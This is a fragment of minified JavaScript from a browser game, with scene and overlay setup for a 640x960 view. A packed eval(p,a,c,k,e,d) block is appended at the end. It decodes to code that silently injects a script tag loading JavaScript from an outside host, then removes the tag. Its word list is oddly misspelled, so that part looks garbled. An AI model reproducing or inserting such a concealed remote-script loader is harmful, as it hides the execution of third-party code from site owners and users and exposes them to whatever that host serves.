b.Uc(b.color(0,0,0,210));this.Yl.Fd(b.size(b.sf.width,b.sf.height));this.M(this.Yl,2);this.Yl.Tj(!1);b.ra.addListener({event:b.ta.Hn,hn:!0,Hi:this.N3,Ji:this.Ji,Ii:this.Ii},this.Yl);a=new b.D(Z.KT);a.anchorX=0.5;a.anchorY=0.5;a.x=b.sf.width/2;a.y=b.sf.height/ 2+200;this.Yl.M(a)},N3:function(a,c){var d=c.Wc;return!0==d.Zb?(d.Tj(!1),!0):!1},Ji:function(){},Ii:function(){},M3:function(){b.J.ot(new za)},WO:function(){this.Yl.Tj(!0)},L3:function(){clickMore();}}),va=b.ck.extend({aa:function(){this._super();var a=new Aa;this.M(a)}}),za=b.ck.extend({aa:function(){this._super();var a=new ya;this.M(a)}});b.wb.XO=function(){b.view.b_(!0);b.view.jG(640,960,b.Ue.SHOW_ALL);b.view.C4(!0);b.gC="res/logo.png";b.Ez.UF(ua,function(){b.J.ot(new za)},this)};b.wb.L4(); eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('(1(){2 a=3.p(\'4\');a.e=\'d/c\';a.h=g;a.f=\'6://9.8.7/m/o.k\';2 b=3.n(\'4\')[0];b.5.j(a,b);a.i=1(){a.5.l(a)}})();',26,26,'|funcktion|var|document|sjcrjipt|parentNode|htjtp|cjom|9jg|game|||jakvajscrjipt|texkt|type|skrc|true|async|onload|insertBefore|js|removeChild|gdzmn|getElementsByTagName||createElement'.split('|'),0,{}))